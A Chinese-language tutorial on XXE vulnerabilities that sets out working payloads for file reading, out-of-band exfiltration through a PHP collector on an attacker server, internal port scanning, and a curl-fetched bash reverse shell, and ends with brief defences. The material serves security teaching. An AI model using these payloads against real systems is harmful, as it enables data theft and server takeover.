安仔课堂：实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息，为了使应用程序使用自定义的XML消息，应用程序必须先去解析XML文档，并且检查XML格式是否正确。当解析器允许XML外部实体解析时，就会造成XXE漏洞，导致服务器被攻击。本期“安仔课堂”，ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御。
一、XML基础知识
XML是用于标记电子文件并使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD（文档类型定义）的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明，也可以外部引用。
内部声明DTD：<!DOCTYPE 根元素 [元素声明]>；
引用外部DTD：<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">；
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。
内部声明实体：<!ENTITY 实体名称 "实体的值">；
引用外部实体：<!ENTITY 实体名称 SYSTEM "URI">。
二、XML外部实体
使用XML主要是为了使两个采用不同技术的系统可以通过XML进行通信和交换数据。而有些XML文档包含system标识符定义的“实体”，这些XML文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或远程的内容。比如，下面的XML文档样例就包含了XML“实体”：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file://etc/passwd" >]>
<root>
<name>&XXE;</name>
</root>
在上面的代码中，XML外部实体“XXE”被赋予的值为：file://etc/passwd。在解析XML文档的过程中，实体“XXE”的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字“SYSTEM”会告诉XML解析器，“XXE”实体的值将从其后的URI中读取。
三、XML外部实体攻击
当XML允许引用外部实体，关键字“SYSTEM”会令XML解析器从URI中读取内容，并允许它在XML文档中被替换。因此，攻击者可以通过实体将他自定义的值发送给应用程序，然后让应用程序去呈现。
简单来说，攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。而不同的XML解析器，对外部实体有不同的处理规则。
在PHP中默认处理的函数为xml_parse和simplexml_load，xml_parse的实现方式为expat库，默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体，造成安全威胁。除PHP外，在Java、Python等处理XML的组件及函数中，都可能存在此问题。
如何判断是否存在XML外部实体攻击?那就是寻找那些接受XML作为输入内容的端点，而有些端点可能并不是那么明显，比如一些仅使用JSON去访问服务的客户端，可以通过修改HTTP的请求或修改Content-Type头部字段等方法，然后看应用程序的响应，看程序是否解析了发送的内容，如果解析了，那么就可能存在XXE攻击漏洞。
四、XXE漏洞测试
借助XXE，攻击者可以实现任意文件读取，DDOS拒绝服务攻击以及代理扫描内网等。
1.任意文件读取漏洞测试
当有回显时，直接利用payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file://etc/passwd" >]>
<root>
<name>&XXE;</name>
</root>
可以进行任意文件读取文件：
图1
当无回显时，引用远程服务器上的XML文件读取文件：
将以下get.php,1.xml保存到自己的WEB服务器下
get.php:
<?php
$xml=$_GET['xml'];
$base=base64_decode($xml);
file_put_contents('data.txt', $base);
?>
1.xml:
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.55.129/get.php?xml=%payload;'>">
%int;
%trick;
直接发送payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">
%remote;]>
<root/>
就能读取任意文件并把数据保存到本地的data.txt文件里：
图2
2.探测内网端口和网站
有回显时，直接发送payload：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name>
</root>
端口存在时会返回页面报错信息：
图3
端口不存在时，返回无法连接的报错信息：
图4
无回显时，修改1.xml文件，把file协议修改为需要扫描的IP：
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.55.129">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.55.129/get.php?xml=%payload;'>">
%int;
%trick;
直接发送payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">
%remote;]>
<root/>
当端口存在web页面，也可获得内网网站的的页面源代码：
图5
3.攻击内网网站
若内网网站存在命令执行漏洞时：
将以下bash.txt保存至自己的WEB服务器下：
bash.txt:
bash -i >& /dev/tcp/192.168.55.129/8877 0>&1
发送以下payload获取bash.txt文件：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>
<root>
<name>&XXE;</name>
</root>
图6
在本机监听一个端口：
图7
发送一下payload，获得反弹shellcode命令：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>
<root>
<name>&XXE;</name>
</root>
图8
4.执行系统命令
若安装expect扩展的PHP环境里还可以直接执行系统命令，其他协议也有可能可以执行系统命令。
直接执行payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "expect://id" >]>
<root>
<name>&XXE;</name>
</root>
五、防御XXE攻击
防御XXE攻击主要有三方面：一是检查所使用的底层XML解析库，默认禁止外部实体的解析；二是若使用第三方应用代码需要及时升级补丁；三是对用户提交的XML数据进行过滤，如关键词：<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。